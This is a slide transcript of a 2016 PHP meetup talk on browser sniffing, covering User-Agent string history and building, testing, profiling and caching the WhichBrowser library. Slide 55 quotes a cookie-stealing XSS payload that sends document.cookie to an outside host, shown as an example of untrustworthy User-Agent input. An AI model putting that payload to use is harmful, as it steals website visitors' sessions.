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Everybody lies @ GroningenPHP

Niels Leenheer
April 07, 2016
Technology
0
170

Everybody lies @ GroningenPHP

This talk is about browser sniffing. And yes, I do realise it is 2016. I know browser sniffing is ugly and we should all be using feature detection and build our front-end code to be more resilient. But there are legitimate uses for browser sniffing. We will dive into history and show the origin of the user agent string and the hidden battle between browser makers and web developers. We will see its simple beginnings and the horrible monstrosity it has become. And of course why building a browser sniffing library is difficult to do right. But when creating WhichBrowser - my own browser sniffing library written in PHP - I’ve also encountered some other technical challenges. We will talk about code coverage and testing without PHPUnit and a bit about using Travis for continues integration. And finally how I improved the performance by 400% by creating indices for the data files. This proved to be a challenge because the data files didn’t contain just strings, but also regular expressions. And how do you build an index for regular expressions?

Niels Leenheer

April 07, 2016
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Transcript

  1. everybody lies
 
 GroningenPHP, April 7th 2016

  2. None
  3. None
  4. None
  5. None

  6. Browser sniffing 
 explained 1

  7. why a talk about browser sniffing?

  8. browser sniffing is 
 dirty

  9. you should use 
 feature detection

  10. why a talk about browser sniffing?

  11. None

  12. what is browser sniffing?

  13. The HTTP specification defines the User-Agent header. 
 It contains

    a string with information about the browser.

  14. Every request the browser makes to the server includes the

    User-Agent header

  15. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 


  16. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 
 HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 
 <!doctype html> <html>

  17. You can use the User-Agent string to identify:
 
 the

    browser
 the rendering engine
 the operating system
 the device model
 and more

  18. what is browser sniffing good for?

  19. improve ux
 
 if you know the platform or browser,

    
 you can streamline the user experience
  20. None

  21. analytics
 
 if you know your users, 
 you can

    build a better site for them

  22. error logging
 
 if you know which browser is causing

    problems, you can fix them
  23. None
  24. None

  25. why is browser sniffing hard?

  26. things started out simple

  27. Mosaic/1.0 (Win3.1) Mosaic The name of 
 the browser The

    version of
 the browser Operating 
 system

  28. Mozilla/1.0 (Win3.1) Netscape Navigator The code name of 
 the

    browser The version of
 the browser Operating 
 system

  29. but it quickly started 
 to get complicated

  30. Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer The name

    of 
 the browser The version of
 the browser Operating 
 system Compatible with 
 Netscape Navigator 1.0

  31. Opera/8.54 (Windows 95; U; en) Opera The name of 


    the browser The version of
 the browser Operating 
 system United States 
 level encryption English 
 language

  32. Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0 Opera The name

    of 
 the browser The version of
 the browser Rendering 
 engine

  33. Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.10 Opera The

    name of 
 the browser Fake version of
 the browser Real version of
 the browser

  34. Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.0.12) 
 Gecko/20090706

    Firefox/3.0.12 Firefox The name of 
 the browser Version of
 the browser The name of 
 the rendering engine Version of
 the rendering
 engine Build date of
 the rendering engine

  35. Mozilla/5.0 (Windows NT 6.0; rv:15.0) 
 Gecko/20100101 Firefox/15.0 Firefox Build

    date is no longer
 updated

  36. Mozilla/5.0 (Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

  37. and it gets worse…

  38. Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en)
 AppleWebKit/525.27.1

    (KHTML, like Gecko)
 Version/3.2.3 Safari/525.28.3 Safari The name of 
 the browser Version of
 the browser

  39. Mozilla/5.0 (Windows; U; Windows NT 6.0; en)
 AppleWebKit/525.27.1 (KHTML, like

    Gecko)
 Chrome/15.0.874.120 Safari/525.28.3 Chrome The name of 
 the browser Version of
 the browser

  40. Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155

    Safari/537.36 OPR/31.0.1889.180 Opera The name of 
 the browser Version of
 the browser

  41. Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Version of


    the browser Internet Explorer

  42. Mozilla/5.0 (Windows NT 10.0)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/42.0.2311.135 Safari/525.28.3

    Edge/12.10162 Edge The name of 
 the browser Version of
 the browser

  43. and those were all relatively normal User-Agent strings

  44. “User-Agent strings only get larger over time, never smaller” Niels’s

    law of User-Agent strings

  45. Mozilla/5.0 (Linux; Android 4.3; en; SAMSUNG GT-I9505 Build/JSS15J) AppleWebKit/537.36 (KHTML,

    like Gecko) Version/1.5 Chrome/ 28.0.1500.94 Mobile Safari/537.36 Samsung Internet Version of the browser Samsung device

  46. Mozilla/5.0 (Series40; NOKIALumia800; 
 Profile/MIDP-2.1 Configuration/CLDC-1.1) 
 Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia

    Xpress for Windows Phone

  47. Mozilla/5.0 (X11; Linux; ko-KR) 
 AppleWebKit/534.26+ (KHTML, like Gecko) 


    Version/5.0 Safari/534.26+ LG Netcast

  48. Sometimes browsers include a compatibility mode, or desktop mode which

    deliberately changes the User-Agent string

  49. Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera The

    name of 
 the browser Version of
 the browser The name of the
 operating system

  50. Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera Mobile

    (desktop mode) The name of 
 the browser Version of
 the browser ROT 13 encrypted
 “mobi“

  51. Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer

    Browser version

  52. Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer

    (compatibility view) Trident 5 means it’s 
 Internet Explorer 9

  53. And it is possible to change the User-Agent string yourself

  54. 
 http://www.sexxlife.it/sexyshop (sexy shop - sexy toys, BDSM, vibratori, falli,

    vagine, lubrificanti, dvd porno, film hard, lingerie - Migliaia di articoli nel nostro sexy shop online.; http://www.sexxlife.it; [email protected]) spam

  55. <script>alert("My Little Pony”);</script> <script language="JavaScript">document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img

    src="http://bravo.trollab.org/mylittlepony.png" 
 alt="My Little Pony”> XSS attacks

  56. XSS attacks

  57. 
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)
 
 Mozilla/5.0

    (Windows Phone 10.0; Android 4.2.1; 
 Microsoft; Surface Zune Phone XL) 
 AppleWebKit/537.36 (KHTML, like Gecko)
 
 (˽°□°҂˽Ɨ ˍʓˍ funny people

  58. angry people

  59. FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0
 
 Opera/9.80 (Windows

    NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62
 
 Seriously, Go fuck yourself
 
 W3C standards are important. 
 Stop fucking obsessing over user-agent already. angry people

  60. User-Agent strings 
 cannot be trusted!

  61. Everybody lies

  62. use browser sniffing for controlling access to 
 your website

    you should never

  63. use browser sniffing for determining browser capabilities you should never

  64. build your own 
 browser sniffing library
 you should never

  65. Creating my own browser sniffing library 2

  66. None
  67. None
  68. None

  69. open source

  70. PHP 5.4 and up
 including PHP 7 and HHVM

  71. 12.500 lines of code

  72. 100% code coverage
 5000+ individual tests

  73. device database with
 36.000 entries

  74. psr-1 and psr-2
 coding style

  75. psr-4
 autoloading

  76. psr-6
 caching interface

  77. None

  78. How to maintain quality? 1

  79. testing 
 of course!

  80. What tools do we use?

  81. PHP CodeSniffer

  82. Check if your code follows 
 coding standards PHP CodeSniffer

  83. PHPUnit

  84. Very good for testing the code that defines the public

    apis PHPUnit

  85. But not so good for testing the actual browser detection

    PHPUnit

  86. Testrunner

  87. Very lean framework
 for testing browser sniffing Testrunner

  88. YAML files that contain a list of user agent strings

    and the expected results Testrunner

  89. No coding required 
 
 Just add a new user

    agent string 
 and automatically generate 
 the expected results Testrunner

  90. Continuous integration?

  91. Yes, please!

  92. None

  93. Automatically start up virtual machines that run your whole test

    suite after every commit

  94. Automatic testing of your code in multiple versions of PHP

  95. Automatic checking of 
 pull requests with feedback 
 directly

    in Github

  96. .travis.yml language: php php: - 5.4 - 5.5 - 5.6

    - 7.0 - hhvm before_script: - composer self-update - composer update --ignore-platform-reqs --prefer-source script: - vendor/bin/phpcs --standard=PSR1,PSR2 -n src - php bin/runner.php --coverage --show check - vendor/bin/phpunit --coverage-clover phpunit.xml 
 after_script: - travis_retry php vendor/bin/coveralls -v
  97. None

  98. Check if your tests cover 
 all of your source

    code

  99. Coverage information 
 is generated by PHPUnit 
 and Testrunner

  100. None

  101. Generating code coverage

  102. Requires Xdebug or phpdbg

  103. Common format is Clover XML

  104. PHPUnit supports generating coverage as Clover XML phpunit --coverage-clover phpunit.xml

  105. For testrunner we need to 
 convert raw Xdebug or

    phpdbg coverage data to Clover XML

  106. There is a package for that! phpunit/php-code-coverage composer require phpunit/php-code-coverage

    $coverage = new PHP_CodeCoverage; $coverage->filter()->addDirectoryToWhitelist('src'); $coverage->start('Testrunner');
 
 // run your tests
 
 $coverage->stop(); 
 $writer = new PHP_CodeCoverage_Report_Clover; $writer->process($coverage, 'runner.xml');
  107. None

  108. How to make it faster! 2

  109. profiling 
 of course!

  110. WhichBrowser used 
 to be 4 times slower 
 than

    it’s competitors

  111. UA Parser Piwik WhichBrowser Wurlf Browscaps average parsing time (ms)

    source: http:/ /thadafinser.github.io/UserAgentParserComparison/

  112. Why?

  113. Use Xdebug and QCacheGrind

  114. Xdebug has an option to create performance profiles zend_extension="/usr/local/opt/php70-xdebug/xdebug.so" xdebug.profiler_enable=1

  115. View performance profiles 
 in QCacheGrind

  116. None
  117. None

  118. 65% of time was spend in DeviceModels::identify()

  119. 65% of time was spend looking through the 
 device

    database

  120. 65% of time was spend iterating over huge arrays

  121. DeviceModels::$ANDROID_MODELS = [
 … 'GT-I92(20|28)!' => [ 'Samsung', 'Galaxy Note'

    ], 'GT-I92(30|35)!' => [ 'Samsung', 'Galaxy Golden' ], 'GT-I9250' => [ 'Samsung', 'Galaxy Nexus' ], 'GT-I92(60|68)!' => [ 'Samsung', 'Galaxy Premier' ], 'GT-I9295' => [ 'Samsung', 'Galaxy S4 Active' ], 'GT-I93(00|03|05|08)!' => [ 'Samsung', 'Galaxy S III' ], 'GT-I93(01)!' => [ 'Samsung', 'Galaxy S3 Neo' ], 'GT-I95(00|05|07)!' => [ 'Samsung', 'Galaxy S4' ], 'GT-I95(02|08)!' => [ 'Samsung', 'Galaxy S4 Duos' ], 'GT-I95(06)!' => [ 'Samsung', 'Galaxy S4 Advance' ], … ];

  122. 'GT-I93(00|03|05|08)!'

  123. "/^GT-I93(00|03|05|08)/i"

  124. Why not a real database?

  125. Easy editing, 
 easy deployment

  126. Order in the file matters

  127. Why a PHP file?

  128. No need to 
 parse JSON or YAML

  129. The whole database can be cached by the opcode cache

  130. But you do need to iterate over every single item

    in that array until you have a match

  131. Why not create an index?

  132. You can’t create an index for regular expressions
 :-(

  133. Or can you?

  134. No, you can’t!

  135. If only we could determine all possible matches for a

    regular expression…

  136. All regular expressions 
 are fixed to the start 


    of the string 1

  137. The shorter the index, 
 the easier it is to

    find 
 the matching strings 2

  138. The ideal index length 
 was 2 or 3 characters

    1 2 3 4

  139. We can do that!

  140. /^GT-I93(00|03|05|08)/i GT

  141. /^(SHP-)?(SHARP )?SH[0-9]{2,3}/i SH

  142. /^(MEDION|(MD )?LIFETAB)/i ME, MD, LI

  143. /^(Lenovo ?)?(IdeaTab ?)?[KSV][0-9]{4,4}/i LE, ID, K0, K1, K2, K3, K4,

    K…

  144. /^(Lenovo ?)?(IdeaTab ?)?[KSV][0-9]{4,4}/i LE, ID, “complex list”

  145. Can we do this in PHP?

  146. There is a package for that! use ReverseRegex\Lexer;
 
 $lexer

    = new Lexer($regexp); $lexer->moveNext();
 
 if ($lexer->isNextTokenAny([ Lexer::T_LITERAL_CHAR,Lexer::T_LITERAL_NUMERIC ])) {
 …
 } else if ($lexer->isNextToken(Lexer::T_CHOICE_BAR)) {
 …
 } else if ($lexer->isNextToken(Lexer::T_GROUP_OPEN)) {
 … } else if ($lexer->isNextToken(Lexer::T_GROUP_CLOSE)) {
 … icomefromthenet/reverse-regex composer require icomefromthenet/reverse-regex

  147. Generate keys from a 
 regular expression in just 


    100 lines of code

  148. DeviceModels::$ANDROID_INDEX = [
 … '@HW' => array ( 0 =>

    '(HW-|HUAWEI )?(TIT|TAG)!!', 1 => '(HW-|HUAWEI |HONOR )?(ATH|CHE|CHM|HN3|H30|H60|HOL|KIW|PE|PLK|SCL)!!', 2 => '(HW-|HUAWEI )?(CHC|KII)!!', 3 => '(HW-|HUAWEI )?(ALE|D2|G6|G7|GRA|M100|P2|P6|P7|RIO|SC|Sophia)!!', 4 => '(Huawei|Ascend|HW-)!!', 5 => 'HW-01E', 6 => 'HW-03E', ), … ];

  149. Looking up an android device (without index) 1 ✕ foreach($data

    as $item) 15.000 ✕ preg_match($item, $model) or 
 $item === $model 1 ✕ return $item

  150. Looking up an android device (with index) 1 ✕ $i

    = $index[substr(0,2,$model)] 1 ✕ foreach($i as $item) 1 - 100 ✕ preg_match($item, $model) or 
 $item === $model 1 ✕ return $data[$item]
  151. None
  152. None

  153. UA Parser Piwik Whichbrowser Wurlf Browscaps average parsing time (ms)

    source: http:/ /thadafinser.github.io/UserAgentParserComparison/

  154. But wait…

  155. None
  156. None

  157. Again lists of regular expressions, but with 
 no possible

    way to 
 create an index

  158. Multiple calls to 
 preg_match with simple regular expressions

  159. if (preg_match('/Nintendo Wii/u', $ua)) {
 … } 
 if (preg_match('/Nintendo

    Wii ?U/u', $ua)) {
 … } 
 if (preg_match('/PlayStation Vita/u', $ua)) {
 … } 
 if (preg_match('/PlayStation 4/u', $ua)) {
 … } if (preg_match(‘/Xbox One/u', $ua)) {
 …

  160. preg_match is fast

  161. But it has a bit of overhead

  162. Replace multiple calls with 
 a single call to reduce

    overhead

  163. if (preg_match('/Nintendo Wii/u', $ua)) {
 … } 
 if (preg_match('/Nintendo

    Wii ?U/u', $ua)) {
 … } 
 if (preg_match('/PlayStation Vita/u', $ua)) {
 … } 
 if (preg_match('/PlayStation 4/u', $ua)) {
 … } if (preg_match(‘/Xbox One/u', $ua)) {
 …

  164. if (preg_match('/Nintendo Wii/u', $ua)) {
 … } 
 if (preg_match('/Nintendo

    Wii ?U/u', $ua)) {
 … } 
 if (preg_match('/PlayStation Vita/u', $ua)) {
 … } 
 if (preg_match('/PlayStation 4/u', $ua)) {
 …

  165. if (!preg_match(‘/(Nintendo|Nitro|PlayStation|PS[0-9]|Sega|Dreamcast|Xbox)/ui’, $ua)) {
 return; } 
 if (preg_match('/Nintendo Wii/u',

    $ua)) {
 … } 
 if (preg_match('/Nintendo Wii ?U/u', $ua)) {
 … } 
 if (preg_match('/PlayStation Vita/u', $ua)) {
 … } 
 if (preg_match('/PlayStation 4/u', $ua)) {
 …

  166. We still do the individual checks, but only if we

    are certain there is a match
  167. None
  168. None

  169. UA Parser Piwik Whichbrowser Wurlf Browscaps average parsing time (ms)

    source: http:/ /thadafinser.github.io/UserAgentParserComparison/

  170. On par with others, 
 but with a massive 


    device database
  171. None

  172. How to make it even faster 3

  173. How to make it even faster-der! 3

  174. caching 
 of course!

  175. A common use case of WhichBrowser is call it from

    
 all pages of your website

  176. Instead of analysing every 
 page view you can do

    it once and reuse that result

  177. memcached redis couchbase apc mongodb filesystem xcache wincache zend data

    cache

  178. An universal caching API

  179. PSR-6

  180. // Initialise the Memcached client
 $client = new \Memcached(); $client->addServer('localhost',

    11211);
 
 // Retrieve our data
 $data = $client->get($id); if ($client->getResultCode() === Memcached::RES_NOTFOUND) {
 $data = … $client->set($id, $data);
 } Memcached

  181. // Initialise the Memcached client
 $client = new \Memcached(); $client->addServer('localhost',

    11211); // Initialise our storage pool
 $pool = new \Cache\Adapter\Memcached\MemcachedCachePool($client); 
 // Retrieve our data 
 $item = $pool->getItem($id); if ($item->isHit()) { $data = $item->get()); } else { $data = … $item->set($data); $pool->save($item); } Memcached using a PSR-6 cache adapter

  182. // Initialise the Redis client
 $client = new \Redis(); $client->connect('localhost',

    6379);
 // Initialise our storage pool
 $pool = new \Cache\Adapter\Redis\RedisCachePool($client); 
 // Retrieve our data 
 $item = $pool->getItem($id); if ($item->isHit()) { $data = $item->get()); } else { $data = … $item->set($data); $pool->save($item); } Redis using a PSR-6 cache adapter

  183. Install adapters for the 
 storage method you want

  184. Set up the storage pool and 
 give it to

    WhichBrowser

  185. // Analyse the user agent string $result = new WhichBrowser\Parser();

    $result->analyse(getallheaders());
 
 echo $result->toString(); WhichBrowser without caching

  186. // Initialise the Memcached client
 $client = new \Memcached(); $client->addServer('localhost',

    11211); 
 // Initialise our storage pool
 $pool = new \Cache\Adapter\Memcached\MemcachedCachePool($client); 
 // Analyse the user agent string $result = new WhichBrowser\Parser(); $result->setCache($pool); $result->analyse(getallheaders());
 
 echo $result->toString(); WhichBrowser with Memcached caching

  187. Just 50 lines of code

  188. None

  189. Test everthing! 1 2 Profile everyting! 3 Cache everything!

  190. Never, ever create
 your own browser 
 sniffing library 4

  191. Thank you!

  192. Thank you!